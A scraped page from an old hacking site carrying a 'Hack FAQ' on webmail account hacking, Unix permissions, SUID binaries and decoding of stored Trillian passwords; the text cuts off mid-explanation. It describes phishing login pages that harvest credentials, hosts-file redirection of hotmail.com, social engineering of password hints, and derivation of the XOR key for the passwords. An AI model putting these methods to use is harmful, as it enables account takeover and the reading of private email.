hacker News
This site is for fun only i disclaim anything you may do as a fundelmental aguish this site is not i repeat not responisible for anything you do with this information it is only to be a steping stone for eduaction on computers |
|
February 2012 |
| S | M | T | W | T | F | S |
|---|
| | | | 1 | 2 | 3 | 4 | | 5 | 6 | 7 | 8 | 9 | 10 | 11 | | 12 | 13 | 14 | 15 | 16 | 17 | 18 | | 19 | 20 | 21 | 22 | 23 | 24 | 25 | | 26 | 27 | 28 | 29 | |
Members List:
CEO:
Sinosuke SanosukeLinks Section
| |
how to become a ....
Hack FAQ Volume 9 credited to Wang
Frequently asked questions about hacking and computers
Whoa...volume 9 - how did things get this far? lol. I wrote volume 1 as a one off just to get the things that I knew off my chest - and now we are 9 volumes in...can't be a bad thing!
Ok, since the last volume I have been busy with real life and Mod-X (which has become really popular/busy now). I also decided to cover a certain topic this volume - hotmail and web based email. Lol, finally broke me down. 60% of the reports through the hack faq question form as to do with hacking hotmail or web based email related questions. Sad thing is, most people out there seem to think I have an instant password decrypter for them or something - which, as you will read, is not the case! Ah well, its covered now...so hopefully I can ignore people who ask those questions now :)
Anyhow, enough of my poor excuses :) - enjoy the volume and please keep requests topics to be covered. One thing though - when you use the request topic form on the site - please actually submit a topic to be covered! I get too many "Please tell me how to break into this" email messages. Ideally I want emails through like "Please could you do a topic covering this:"...as opposed to people just out for me to solve their personal problems :)
If you have any topics you want covering, please email me at wang@most-wanted.com and I will consider putting them into the next volume, or you can fill in my online question form on the site. If you have any other methods of solving the questions that I have answered, please send them to me and I will consider putting your solution in as well (with full credit to you obviously).
If you want to join our mailing list and be notified as soon as a new Hack FAQ is released, you can sign up by clicking here
--------------------------------------------------------------------------------
Jump to a topic:
Hacking Web-based Email
Unix Ownership/Permissions explained
What are SUID Binaries and why are they dangerous?
Decrypting Trillian Passwords
What is Cross Site Scripting (css/xss) ?
Problems with user input in scripting languages using databases (SQL statements)
Emails
--------------------------------------------------------------------------------
Hacking Web-based Email
Oh boy...I knew we would have to cover this at some stage :) - just having the words "hacking web-based email" on the site will bring the server loads more hits...why? because there is something about reading another persons email that fascinates hackers/husbands/wifes/boyfriends/girlfriends/students etc etc. I will also take this opportunity to state that the information here is intended for use by you, to judge the security of your own web-based email account - and hopefully fix any blatant mistakes you have made during signing up for web-based email. This is not intended to be used to break into accounts that you don't own.
What exactly is web-based email though? is it the email you get through Outlook Express or your preferred mail client? No. Web-based email is the name associated with sites like hotmail.com, mail.yahoo.com, another.com, email.excite.com etc etc. They are all sites which provide you with your own email address, and allow you to check your email and send emails by logging into their site and doing all your email tasks via your web browser. They are extremely popular with most internet users, simply because of their ease of use, and ease of access. When you use an actual email application from your pc (such as Outlook, Outlook express, Eudora, Netscape Mail etc) you are usually dealing with POP3 email (which is accessed by your mail application connecting to the pop3 daemon of a mail server, usually via port 110). POP3 email is not what we are dealing with today - we are merely interested in the web-based email services that you access via your web browser.
"How do I hack web-based email" must be the most frequently asked question by aspiring hackers - a lot of us have asked someone that very question in the past...and usually met with a bad response. Why is it so commonly asked? At a guess...it's because web-based email is, for a lot of people, the only thing they use the internet for. It's easy to use, quick to setup, and more importantly...most people you know also have accounts at some web-based service on the net. And that is the real reason...most people simply get a thrill out of the idea that they might be able to "spy" on people they know. Like the world's fascination with fly-on-the-wall television programs...reading someone's email is interesting, it's an invasion of privacy - and more importantly, you can see private exchanges of information between people. However, I am babbling on - you already know all this...which is why you want to know HOW it's done...not why.
It's likely that you are already aware of most hackers views of the question "how do I hack hotmail?" - and some of you may be mystified as to why they either flame you back (i.e. send abuse back to you), kick you from a chat room, or make fun of you. Why? you asked a perfectly good question right? - and yes, you did...it's just that it seems this subject scares a lot of people, because despite how good they think they are...they don't know the answer to your question. There is another reason though - the question is also ignorant. A lot of people who send me the question via the hack faq form on the site expect there to be a simple, almost magic (lol) method to get into web based email...they seem to almost expect a reply from me to say "oh yeah, just type this into that box and you will be into their account, no problem". This of course, could not be further from the truth.
The simple fact is - there is no magic way to get into everyone's web-based email. There is no secret technique, or super-program that breaks into all hotmail accounts - it's done on a case-by-case basis...and a lot of it is luck. The chances are, what I will cover today will not get you into your friends email account (I am quite glad that is the case!) - but on the other hand, it just might. There are 4 or 5 clear techniques that hackers use to eventually gain access to a targets email account. I will cover each one of them individually:
Technique 1 - Lost Password Requests
Wow, lost password requests! what a great idea! With so many users signing up, then forgetting their passwords the next day something needed to be implemented to ensure user's had a way of being given/remembering their lost passwords. There are a few different methods that various email services use to handle this type of situation:
Send over email - Some email services require you to already have another email account elsewhere, like a POP3 account with your isp or similar. If you forget your password to access their web-based email service - they will then send the forgotten password to your other email account. Seems like a good idea...but how effective is it? Imagine a hacker gained access to your POP3 account - they could then request the lost password from your web-based email account (and probably a lot of other services you are signed up to) - and just from knowing the POP3 password, suddenly have access to everything. You also have to remember that they are sending your full password out via email! unencrypted...for anyone who hijacks the email to see. What if the 2nd email account you gave the web-based email company when you signed up becomes inaccessible at a later date? you are stuck without being able to request your lost password to a place where you can read it. Some services, won't even let you change that initial 2nd email you signed up with too :( My main problem with this technique is the whole string of security problems that arises if a hacker gains access to one of your email addresses, and can then request lost passwords from other accounts you have, to that email. As a result of this - I will rate this technique: Security 2/5 Practicality 4/5.
Hint Questions (full recovery) - Some services decide to ask you 1 or more questions when you sign up, such as "What is your mother's maiden name" etc - questions they think that only you will know the answer to. Some web-based services that use this technique are poorer than others, for example - some have predefined questions, like you will be asked "What is your mother's maiden name" - and that's it, you have no choice. This is a bad thing since you might be thinking "arghh!! tons of people know the maiden name...please ask me something else!". Some are better, and let you choose from a range of questions, which one you want to answer. This is good because you then at least get the choice...although some of the questions can be so poor that you would be better off just giving your password out freely! Lastly, the best versions of this technique let you actually enter your own question, and your own answer. These are great, since you can pick something that absolutely no-one else will know. So, what are the downsides to this...well, let's be honest - you selected your own password, and you forget it...so what's to say you aren't going to forget your hint question's answer too! I know people that have done this. Also, your hint question is only as strong as you make it. Some questions I have seen have been pathetic (ones like "What is your date of birth") - and unless you lie...you know someone in the world is going to know it. However, this does create another issue - you can simply lie about the answer to the question...that way, providing you remember your lie, no-one else should know the answer to the question, even if they think they do. As you can see, this technique really depends on you, and more importantly the flexibility the web-based email services provides over the hint question. The reason I label this "(full recovery)" is because I am referring to the version of this technique, whereby you enter your hint answer correctly - and the email service presents you with a message telling you your lost password. In my opinion...this is bad, because say an attacker went through the lost password process, got the answer right, and then was presented with the password - you now both have access to the service, and the attacker can read your mail whenever he/she wants...without you being any the wiser. As a result of this, I will rate this technique: Security 2/5 Practicality 3/5.
Hint Questions (Reset) - Same as above, but when you get the hint question right - it doesn't tell you the password you had forgotten...but instead resets the password to a completely new, random password. This may not seem that good, and may seem a bit of a pain - but when you think about it...at least you know when someone has broken into your email. You would try to log in, and realise your password had changed...you could then inform all of your associates/friends/family that your email seems to have been broken into...and they can stop mailing that address (or wait for you to sort the issue out). It's not great...but at least you know you aren't being spied on. As a result of this, I will rate this technique: Security 3/5 Practicality 2/5.
Password Reset - What can I say - terrible. You forget your password, click "lost password" - and it simply changes your password to a new one. I can't believe anyone would ever use this...but I have seen it in operation :( In practise, it means that you know when you have been broken into...but, it means that feasibly...anyone can break into you and prevent you from reading your email. I did see another variation of this where it emailed your 2nd account (that you gave the web-based email service when you signed up) saying "unless you visit this enclosed link - your password will be reset in 48 hours". That was...better...I guess, but still awful. The only thing this technique has going for it is that a hacker may be reluctant to reset your password so you can't get in - because they know it's a clear sign that they have been there. I will rate this technique: Security 1/5 Practicality 1/5.
Create a new account - defeats the point of a lost password facility - but security wise...it's the best. If you forget your password, you have to create a new account. Inconvenient - yes! but, perhaps it will make you think more carefully before selecting a password you can't remember ;) I will rate this technique: Security 5/5 Practicality 1/5.
Ok...now you know the most common forms of lost password systems - let's talk about why they are useful to a hacker trying to break into an account on a web-based email service. On visiting the web-based email site, a hacker would first look for a lost password link. Sometimes it's there, linked to straight away - and sometimes you need to submit one or more incorrect login attempts first, in order to be given the link. Firstly, the hacker will look at what kind of lost password technique is in use on the site (from the techniques explained above). Try it out...and see what it does when you tell them you have lost your password (remember that the majority of sites will log your IP address when you request a lost password, and maybe even send your IP to the real owner of the account via email or similar). If it sends it via email to a separate address (technique 1 explained above) - then does it tell you which email address it has been sent to? or does it just say "your password has been emailed to your address on record" ? If it tells you the email it has been sent to - this is bad for the real account owner...since the hacker then knows exactly which other email address of yours they need to break into (and remember it might be another email of yours they already have access to). If it's the hint question technique - see what the question is - you wouldn't believe how many I have looked at only to see the question "what is your favourite colour?" - that's terrible, guessable within about 3 attempts. If it's a more personal question, like the "when is your birthday?", or "what is your postcode?", or "what is your mother's maiden name?" then the hacker will undoubtedly try to social engineer the information out of you. Social engineering is another topic altogether - but just so you know, social engineering is when someone tries to trick another person into revealing the information they want. For example, to get the person's birth date I need to get into their web email - I might track them down on IRC and talk to them for ages, make friends etc....and someone along the lines, slip in the question asking when their birthday is. It is *unbelievable* how easy social engineering is sometimes, and there are zillions of techniques people use - ranging from the simple one I just described, to setting up false web sites etc to catch people's details...no joke. The other issue is, if it's a friend/colleague trying to get into your email - the chances are they already know a lot of your personal information - be careful.
In general, people say passwords are the weakest link in the security chain - but lost password techniques are often the key to gaining access.
Technique 2 - Social Engineering
As I stated above - social engineering is when someone tries to trick another person into revealing the information they want. The most common "hacker" social engineering is when someone talks to you about hobbies/pets/family etc...in the hope that by knowing your pets names etc, they might be able to get into your accounts (if you used your pets name as a password). You wouldn't believe how effective this is. There are varying levels of social engineering - but if can go as far people setting up fake websites and emailing you to tell you about a brilliant new web site you need to sign up to ;) - then when you do, they catch all your details they need etc. It can also end up with people phoning you, pretending to be from a company doing a survey. Social engineering is an old form of hacking, which hasn't dated (human stupidity keeps it alive) - and you can even see it in Hollywood films such as "Hackers", and "Takedown". Social engineering to just get a password is a bit hit and miss - because you don't really know what information you need to get out of the target. However, when combining social engineering with a lost password form that has a "hint question" - you know exactly what information you need to get out of the target person (you just have to hope they haven't lied when they answered their hint question!).
Technique 3 - Site flaws
Earlier, I said that there was no magic way to get into everyone's email. This isn't entirely true. From time to time (like with any site/server on the web) - flaws arise. When it comes down to it, the web-based email web site has to be hosted on a web server somewhere...which is likely to be either IIS 4/5 (the Windows NT/2000 web server) or Apache (mostly *nix, but also runs on a lot of Windows systems on the net). As a lot of you will know, IIS flaws aren't exactly rare ;) - and Apache has major scares every now and then too (some bad ones recently). When an exploit in the server appears on a popular security site in the form of an advisory, there will be a gap before the server running the web-based email is patched. Hotmail etc - will be patched almost instantly...giving you no chance. However - there are a lot of web-based email providers that are slacking...and leave themselves open to you to not only hack 1 account...but the whole server, and all accounts :( - awful really.
Aside from server flaws - there are the inevitable script flaws. Hotmail has had it's fair share of them, as have all web-based email providers. The problem is - providers like hotmail have learnt the hard way, they had lots of flaws (silly ones) early on, and are now...shockingly...pretty secure. If you want to look over the kinds of flaws that were present, trying searching some security sites for "hotmail javascript" or similar - you will see some details on an old hotmail flaw that meant a person's hotmail session could be hijacked if a malicious user sent the account an email with some malicious javascript code in. No system is ever 100% secure - and I promise you, hotmail (and all the other sites) will have more security flaws as bad as this in the future...it's just a case of how fast you can find out about it and use it to your advantage. Hotmail, for example, usually patch the flaw within hours :( - so this isn't exactly a concrete solution to breaking into accounts. Excite mail recently had a php session flaw to which could lead to account hijacking...it just shows that these flaws are still there waiting to be found.
Technique 4 - Trick Emails
This is pretty lame...but human stupidity sometimes leads it to work. A lot of attackers simply sign up for email addresses like "lost_password@hotmail.com" or "administrator@excite.com" etc - anything they can think of that makes them look like a member of staff from the site. They will then email you trying to trick you into giving them your password for some reason, or trick you into going to some site somewhere and giving out your password etc. Email providers shouldn't ever need to ask your for your password - bear that in mind.
Technique 5 - Software flaws
Knowing someone's password is only one way of getting into someone's account. When they log in, the site knows they are logged in by checking their cookie or session data (depending on how the login works since some sites will only store user info in cookies if select to do so, like with a "remember my password" checkbox or similar). So, if an attacker steals your cookies/session information - they can walk into your inbox. I doubt I need to tell you how many Internet Explorer flaws there are coming out every month (that's not to say that other browsers such as Netscape/Mozilla/Opera aren't having their fair share too...just not as many!). A lot of the flaws allow the attacker to execute code of his/her choice on your system, or steal information/data. So another option would be for an attacker to try and exploit the account owner in another way first. They might send you an email asking you to go to another web site - and then when you do, the page attempts the exploit on you. This is fairly common. I won't go into information gathering here - but someone with their own web site could also (to a certain extent) determine your IP address, what browser/OS/mail program you are using, just by getting you to go to their own site. They will then know what exploits to try on you, if your not clever and not patched. Cross site scripting (css/xss) is also a common cause of cookie's being stolen, and sessions being hijacked - but we have a whole topic dedicated to that this volume, so I won't explain it here. Therefore staying on top of security flaws in software you use is another way to avoid getting your email hacked (sign up for the weekly security newsletter at net-security.org). The point is, stealing cookie's/session data via software flaws is also a common way to get into web-based email.
Technique 6 - Trojans/Keyloggers
This technique is closely linked with the last technique, since a trojan/keylogging program would often be installed on you without you knowing, via an exploit in your browser/mail program etc. However, a lot of people are simply dumb and run all executable attachments from emails they receive ;( When someone has you trojan'd or a keylogger on your pc, they just have to wait until you send the relevant password data from your web-based email login to them.
Technique 7 - Fake web sites
I sometimes also see this referred to as "Password Harvesting". This technique involves you having your own web space somewhere - hopefully somewhere which isn't too obvious such as geocities or somewhere (this works best if you buy your own domain/hosting that looks authentic, for example email-login.com or something). You then copy the html for the login page of the email provider that your target uses (i.e. copy the hotmail.com login page to your hard drive for editing). Then, the attacker modifies the login page, so that it submits information to his own scripts on his site, before probably redirecting you to the real web-based email site. Got the idea yet? yes...you fool the account owner into logging into your "fake" login screen on your server, it logs his/her details, then sends him to the real site - where he probably logs in again thinking the login just failed the first time (but we know differently) - and that's it...the login will succeed for them the second time on the real site...and they are non the wiser. There are a few ways this can be made more authentic. Firstly, as I mentioned - the site with the fake login screen should be a believable URL (since this technique relies on you fooling the account owner into thinking it's ok to log into his email from your site). If you register a domain like email-login.com or something...it might work, for example. It can also be made more realistic with a few small touches - like for example, when they submit to the form on the "fake" site - you send them to the "wrong password" screen, on the real server...so it looks like an authentic bad login. It's also sometimes possible to actually make a real request to the real server with the information they entered on the fake site, so that the login succeeds on the real site! That's the best way, since they then have no clue as to what has happened.
This is an extremely dangerous technique, it relies on user stupidity and requires you to somehow fool them into logging in through your fake site...but it often works. User stupidity prevails ;)
Technique 8 - Hosts hack/trick
Firstly, what is the Windows host file?
"The short answer is that the Hosts file is like an address book. When you type an address like www.yahoo.com into your browser, the Hosts file is consulted to see if you have the IP address for that site. If you do, then your computer will use that IP and the site will open. If not, your computer will ask your ISP's (internet service provider) computer for the IP before it can access that site. Most of the time, you do not have addresses in your "address book," because you have not put any there. Therefore, most of the time your computer asks for the IP address from your ISP to find sites."
The hosts file is located in "c:windowshosts" for Windows 9x/ME systems, and in "c:winntsystem32driversetchosts" for Windows NT/2000/XP systems (if it doesn't exist you can create it, but it should exist) - open it in notepad. It's not uncommon for the file to be blank, but typically it may look something like:
127.0.0.1 localhost
212.38.191.83 www.mod-x.co.uk
So, as you can see the format is:
Can you see where this one is going? ;) - this technique should be used in conjunction with the previous technique. This is the key to the problem of fooling someone into going to your "fake" site, instead of the real web-based email login. Let's say I set up my fake hotmail login page on my www.mod-x.co.uk server, who's IP is 212.38.191.83 - if there was an entry in my targets host file that read:
212.38.191.83 hotmail.com
212.38.191.83 www.hotmail.com
When they go to their web browser and type "www.hotmail.com" - they will be taken to my server instead of hotmail! and hence, to the fake login. This is considered quite a lame thing to do - but frankly, it's requires more skill and understanding than brute forcing. The problem you may have noticed is - you need to somehow get that entry into your target's host file...not an easy task :( - if you have physical access to their PC, then you can slip it in there when they aren't about...but otherwise, you would need to trick/exploit them to get that in there (you would probably need to work out how to remove it at a later date to, to avoid getting detected after it has served it's purpose). Another side note I should mention is - I believe a Windows machine needs a reboot before the hosts file's changes come into effect.
The good thing about this technique, is that *nix systems also use host files in the same way (except it's located at /etc/hosts). It has a slightly different format to a windows hosts file, but it's very similar. An example file would be
212.38.191.83 hotmail.com
212.38.191.83 www.hotmail.com
Please note, that is the IP, followed by 2 tabs (not spaces!) then the alias. There is actually more stuff you can put in the hosts file, like hostname and other aliases...but I won't go into that here, since we have all we need.
Technique 9 - Brute Forcing
Don't even bother with this one, just thought I would mention it. Brute forcing involves trying lots and lots of possible passwords on the web-based email login to try and get the correct password. Today, most half-decent sites will have some sort of IDS (intrusion detection system) to detect the brute force...and perhaps even auto-notify your ISP, or just simply ban you from the site. Apart from brute forcing being skill-less, probably taking ages, there is a high risk of being caught since lots of attempt/hits to a site really show up in server logs. A number of the programs out there that claim to be stealthy brute force applications really don't work that well either.
There really isn't a great deal more you can say on hacking web-based email - without going into detail specifically on one web-based email site, and it's authentication methods etc - or describing one exploit in detail. Hopefully, this has given you a general overview of how web-based email is hacked, and how to defend your own accounts (and made it clear that there isn't exactly a 100% guaranteed method of gaining access). Comments welcome ;)
--------------------------------------------------------------------------------
Unix Ownership/Permissions explained
Ok, we really need to cover this in order to do a few other topics in the future, so best to get this out of the way - sorry for all those that already know all of what I am about to say! If you don't know, or have never used *nix style operating systems, and are purely a Windows, Mac, BeOS (or whatever!) user - then I would urge you to take the time to get a shell account on a *nix system somewhere (telnet to sdf.lonestar.org on port 23, they provide basic free shell accounts) and to play with the information I am giving you, rather than just disregarding it.
First, we will need to talk about basic unix system privileges. On *nix operating systems, such as Linux, FreeBSD, Solaris (just to name a few), access to files is controlled by the file mode setting of a file. The mode specifies who (user/owner, group, other) can have access to a file and what type of access (read, write, execute) to the file is allowed. The "User" is the owner of the file (and I will refer to the User as Owner from now on), the "Group" is a particular group of users that the file belongs to, and "Other" corresponds to everyone that is not the User or a member of the Group. For any given ownership relation, we need three bits to specify access permissions: the first to denote read (r) access, the second to denote write (w) access and the third to denote execute (x) access. Therefore, an easy way to denote the access that the Owner has to a file would be "rwx" (which means the Owner has Read, Write, and eXecute access to the particular file). So - how would we denote access if say, the Owner had read access, and execute access - but no write access? Simple, we use a dash to denote that they don't have write access as so "r-x". Simple!
Now, we have three ownership issues of a file to cover remember - 'owner' permissions, 'group' permissions and 'all' permissions - so we need a "rwx" triplet for each, resulting in nine bits. As an example - lets say that Owner, Group, and All (everyone) has access to Read, Write, and Execute a particular file - we denote this as:
rwxrwxrwx
Just to make this clearer...a breakdown of that would be:
Owner Group All (Everyone)
Read Write Execute Read Write Execute Read Write Execute
r w x r w x r w x
Another example, lets say that the Owner has full access to a file - but Group and All can only read the file. How do we denote this? Like so:
Owner Group All (Everyone)
Read Write Execute Read Write Execute Read Write Execute
r w x r - - r - -
So our end string is "rwxr--r--". Make sense? I hope so! if not, re-read now! Ok - so now, lets say you have your unix shell account open in a telnet window - or you are sitting there at a *nix terminal somewhere - how do you find out the permissions/ownership that a specific file or directory has? We use the "ls" command. For those that don't know, ls is basically the equivalent to you typing "dir" from a dos prompt...except ls has some nicer options. So, here is an example of me typing ls:
[wang@server mydirectory]# ls
myfile.php index.htm anotherdir
Ok...so that got me a listing of the files in the current directory I was in - but I don't see anything to tell me the permissions on each file/directory in there. To get this information, we have to use ls with an extra parameter "ls -l" - which tells it to show us a long listing, like so:
[wang@server mydirectory]# ls -l
total 6
-rw-r--r-- 1 wang wheel 872 Apr 25 16:26 myfile.php
-rw-r--r-- 1 wang wheel 680 Apr 25 16:26 index.htm
drwxr-xr-x 2 wang wheel 512 Apr 3 13:40 anotherdir
ah! thats more like it. Ok, immediately you will notice that it shows one file/directory per line - along with the permissions of that file/directory, it's owner's username, the group name, the size, the date/time, and the file/dir name. You will also notice something different about the permissions - two of them have a "-" in front of the normal permissions system I explained, and one has a "d" in front. This is easy - this is the way we tell what is a directory and what isn't - if it has a "d" in front of the permission listing, it's a directory - if it has a "-", it's a file of some kind. If you look at the first line, the listing for the file "myfile.php" - we can see it has permissions "rw-r--r--" - which as we have already determined means that the owner (who is listed as "wang" in that output) has read and write access, but group and all only have read access. "wheel" is the name of group which that file/directory belongs to. We also need to mention that permissions on a directory don't mean exactly the same thing as the permissions on files I explained. When dealing with permissions in relation to a directory, Read means you can view the directories contents (i.e. do an ls in it), Write means you can create/edit/delete files within the directory, and Execute determines whether a user can "cd" into a directory (i.e. move into it, just like cd in dos).
Now you know how permissions are represented for files/directories - and what they mean...but how do we set/alter them? and are there other ways of representing them? Well, yes.
Permissions/access is actually based on an integer number from zero to seven, the "rwxr--r--" representation is really just to make things easier. There is an integer for each set of people accessing the file (user, group, other). The type of access allowed for each number is determined by adding 1 for execute access, 2 for write access, and 4 for read access. Zero indicates no privileges. Therefore, the allowed values are:
Number Permission
0 No Access
1 Execute Only
2 Write Only
3 Execute and Write
4 Read Only
5 Execute and Read
6 Read and Write
7 Read, Write, and Execute
If you are feeling lost and confused, bear with me...the purpose of these numbers will become clearer. You are probably thinking - why tell me these numbers? - well it's just useful to know, and I prefer changing file/directory permissions using numbers ;) - sorry! So, what is the command to actually change permissions? - the answer is "chmod".
First, lets talk about using chmod with the numbers in the table above that I gave. The format to use chmod would be:
chmod
So, a good example would be "chmod 755 blah.pl". Why three digits? well, we are back at the Owner, Group, All permission thing again. Every one of the three digits on the mode number corresponds to one of the three permission triplets. Every permission bit in a triplet corresponds to a value - which, despite my complex looking table, can be easily remembered as: 0 for nothing (dash), 4 for r, 2 for w, 1 for x.
Lets work an example out, lets say we have the permission "rwxr-xr-x" on some file...what chmod string was used to give that file those permissions? Simple:
Triplet for user: rwx => 4 + 2 + 1 = 7
Triplet for group: r-x => 4 + 0 + 1 = 5
Tripler for all: r-x => 4 + 0 + 1 = 5
Which makes : 755
It's not as hard as it looks, and it's not as hard to remember as you might think...it actually becomes second nature. There is, however, an easier way if this really does scare you. chmod can also be used in the format "chmod [options] mode file(s)". The 'mode' part specifies the new permissions for the file(s) that follow as arguments. A mode specifies which user's permissions should be changed, and afterwards which access types should be changed. Let's say for example:
chmod a-x socktest.pl
This means that the execute bit should be cleared (-) for all users. (owner, group and all) The permissions start with a letter specifying what users should be affected by the change, this might be any of the following:
u the owner user
g the owner group
o Everyone, all (what we described as other users)
a all users, but referring to user/group/all
This is followed by a change instruction which consists of a +(set bit) or -(clear bit) and the letter corresponding to the bit that should be changed. So, hopefully now you can see where "chmod a-x socktest.pl" came from. We could also have said "chmod g-x socktest.pl" to only remove the group execute permission, or we could have said "chmod o+r socktest.pl" to give all/everyone else read access to this file. If you really want to read up more on chmod, please type "man chmod" from a shell prompt to see the manual on it. As a final example, I will show an example of me using chmod on a file "test.txt":
We start with the file test.txt, which the owner "wang" has read/write access to, and group/all only have read access to:
[wang@server ~/test]# ls -l
total 2
-rw-r--r-- 1 wang wang 5 Aug 7 19:43 test.txt
I then decided to give my group write access to test.txt, so I used chmod like so:
[wang@server ~/test]# chmod 664 test.txt
[wang@server ~/test]# ls -l
total 2
-rw-rw-r-- 1 wang wang 5 Aug 7 19:43 test.txt
Then, I gave all/everyone write access too (feeling generous!):
[wang@server ~/test]# chmod o+w test.txt
[wang@server ~/test]# ls -l
total 2
-rw-rw-rw- 1 wang wang 5 Aug 7 19:43 test.txt
Then, I take write access away from the group:
[wang@server ~/test]# chmod g-w test.txt
[wang@server ~/test]# ls -l
total 2
-rw-r--rw- 1 wang wang 5 Aug 7 19:43 test.txt
And then I decide to remove all access from group/all to leave only the owner with access to the file:
[wang@server ~/test]# chmod 600 test.txt
[wang@server ~/test]# ls -l
total 2
-rw------- 1 wang wang 5 Aug 7 19:43 test.txt
--------------------------------------------------------------------------------
What are SUID Binaries and why are they dangerous?
This was a requested topic via the Hack Faq form, but is also quite a frequently asked question on the boards I see, hence I though we should cover it. If you haven't read the previous topic on Unix ownership/permissions - I suggest you do so now.
Let's first establish what SUID is - SUID is short for Set User ID. As we explained in the previous topic, commands/files you execute always run with your privileges on the system - makes sense for security purposes, right? wrong - this is where SUID comes in. SUID files can be run with the privileges of the person who SUID'd them. When you run a program with the suid bit set, the program is run as the owner of the program rather than as you, the person running it. This means that when it is running the program has access to all of it's owners files and privileges. Does this sound dangerous to you? should do...because it is - but it's sometimes necessary. Let's take an example now, say the unix "passwd" command (which you can use to change your password for logging into the system). This is a typical use of the passwd program:
$ passwd
Changing password for wang
(current) UNIX password:
New UNIX password:
Password changed
Have you ever sat back and thought "what does it actually have to do to change my password?" - well, The passwd program has to be able to update the /etc/passwd and /etc/shadow files (or equivalent, depending on what *nix you are using), which are owned by root - so therefore, a typical binary not owner by root wouldn't be able to do it...and passwd must run as root to do this. So the dilemma is set - the program must be owner by root and modify files that only root should be able to modify - but allow you to run it as standard user. So, how does passwd achieve this? it is SUID - as the ls -l shows:
-rwsr-xr-x 1 root root 27K Jul 8 17:01 passwd
Notice the "s" in the privileges - that's how you identify the SUID binary. Therefore, passwd works because it's owner is root and it has the suid bit set - so we run passwd as our user, but the system automatically makes it run as root. This is all well and good, and you can no doubt see why SUID binaries are useful...however, there should also be alarm bells ringing in your heads. What if...the program was exploitable somehow - what if you could make the program execute any command you wish? if you could...it would execute any command you wish, not at your privilege level -but at the SUID level. Therefore, SUID-root programs are the largest security threat...since you can't get any better than being able to execute any command you wish as root!
SUID programs are so dangerous are also very dangerous because interaction with the untrusted user begins before the program is even started. There are many ways to confuse the program, using things like environment variables, signals, or anything you want. Exactly this 'confusion' of a program is a cause of frequent buffer overflows (which we will cover). More than 50 % of all major security bugs leading to releases of security advisors are accounted to SUID programs. And some distributions of *nix are shipped with hundreds of these suid programs, most of which you'll probably never use. Of course there are few which are necessary, in order that normal user might perform operations which are normally done by root (like the passwd example). So, we have another dilemma - we don't want to have risky SUID programs on our system....but we can't delete them all. Doh.
First things first...is there a quick way to find all the SUID binaries on my system? Yes - execute the following command from a shell:
for i in `find / -perm +6000 -type f`; do ls -aFl $i >> suids; done
This is a really good way of finding them, since it will go through searching and create a file in your current directory called "suids" which has the ls -l output of the SUID binary for you to see. If the above command doesn't work, it may be because the above command relies on GNU find, and you might be on a *nix variation with a less-friendly find...therefore try:
'find / -type f ( -perm -4000 -o -perm -2000 ) -exec ls -l {} ;
If you ran the first command above, you can then just "cat suids" or read it in your favourite editor (pico suids, vi suids, vim suids, etc) to see the list of SUID binaries found. If you ran the second find string...you should see the list appear in the shell as it searches. You will see all the usual suspects there - all the SUID one's you need, such as passwd, su, mount etc - but unfortunately, since every distribution and unix system will be different, I can't tell you which ones you need and which ones you don't :( - it will be process of discovery for you. Here is just a small list of the really common "ok" expected SUID binaries (there may be a lot more on yours though, don't panic)
/usr/bin/crontab
/usr/bin/newgrp
/usr/bin/passwd
/usr/local/bin/ssh
/usr/local/bin/screen-3.7.2
/usr/X11R6/bin/xload
/usr/X11R6/bin/xterm
/usr/X11R6/bin/XF86_Mach32
/var/qmail/bin/qmail-queue
/bin/su
The best way of doing it, is to log all the SUID binaries you have when you first put your system live...and then monitor the system to see if any odd SUID binaries are added at a later date. Bear in mind that a strange SUID binary appearing, could be the sign of a hacker backdooring an account. Just in case you do need to remove the SUID bit on something - it can be achieved by executing the chmod command like so:
chmod -s
We briefly mentioned earlier that buffer overflows are tied to SUID binaries being dangerous. This is because our worst fear, being able to make a SUID-root binary (or similar) execute any command of your choice, can come true if a buffer overflow exploit exists in the SUID program. I planned to include a topic on Buffer Overflows as the next topic in this faq volume, but I realised that there are so many excellent texts on it already, that I would only be rehashing what other people have said. I am therefore providing links to two excellent texts that deal with the subject, which I hope you will read. If there is a large demand for me to cover the topic..I will try and include it next time, but I really think the texts linked to below will help you understand the subject well enough.
For further reading, check:
Exploitation of stack based buffer overflows
Stack Based buffer overflows, part II
--------------------------------------------------------------------------------
Decrypting Trillian Passwords
AS you may remember, in past hack faq's we went through the ICQ password storage technique, and how to decrypt ICQ .dat files in order to get the cleartext passwords from them. Trillian is fast becoming one of the most-popular instant messaging programs around. It is described as:
"Communicate with Flexibility and Style. Trillian is everything you need for instant messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo! Messenger and IRC in a single, sleek and slim interface."
That's right, trillian is an all-in-one program which allows you to be on ICQ, AIM (the AOL instant messenger), MSN, Yahoo, and even IRC, all at once from one program. In itself, trillian is a good program, with some nice features - but it suffers from an awful password storage system. Although not compulsory, trillian saves your password to connect to all the networks (ICQ, AOL, MSN etc) - and most people, out of convenience, will want their passwords stored. The problem is that trillian stores them with only a very weak encryption.
The trillian passwords are stored separately in .ini files (which relate to each network, i.e. there is a msn.ini, and a aim.ini etc). These are stored in your trillian directory (usually c:program filestrillian) in the "users" folder. Within the users folder, the ini files will either be in a folder called "default" or a folder named after your username. For example, on my installation for testing purposes, the msn.ini was stored at:
c:program filestrillianusersdefaultmsn.ini
On opening this file...you find details like:
[msn]
auto reconnect=1
save passwords=1
idle time=15
show buddy status=1
port=1863
server=messenger.hotmail.com
last msn=someone@hotmail.com
connect num=10
connect sec=60
save status=1
ft port=6891
[profile 0]
name=someone@hotmail.com
password=A347F2B74EE9A9F6
and so on...
The line "password=A347F2B74EE9A9F6" is obviously the encrypted password that we want to decrypt. Now, the encryption used here is a simple xor encryption of the original password, which is then represented as hex. If we split the password into the actual hex representation, it might make more sense:
A3 47 F2 B7 4E E9 A9 F6
Ok, when beating an xor encryption...you need to know what each letter of the original password was xor'd with. Thankfully, there is an easy way to find this out - so long as you know the original pass. And, as you may guess - knowing the xor key that trillian uses to encrypt passwords, is also the key to being able to decrypt passwords that we don't know!
First, we need to know what the hex value "A3" (the first value of the encrypted password) represents in standard numbers. If you know your hex, you will know that the value of "A3" is 163. I know for a fact that the first letter of my password is "P", therefore - to find out what trillian xor'd with my original "P" in order to get 163 - we do the following calculation:
Numeric value of A3 = 163
Numeric (ascii) value of P = 80
Calculation: 80 XOR 163 = 243
There we go - 243 is the number that the first value of your password is xor'd with. We can test this by doing the process in reverse using this knowledge:
First letter of password = P
Ascii value of P = 80
XOR key for 1st char = 243
Calculation = 80 xor 243 = 163
163 in Hex = A3
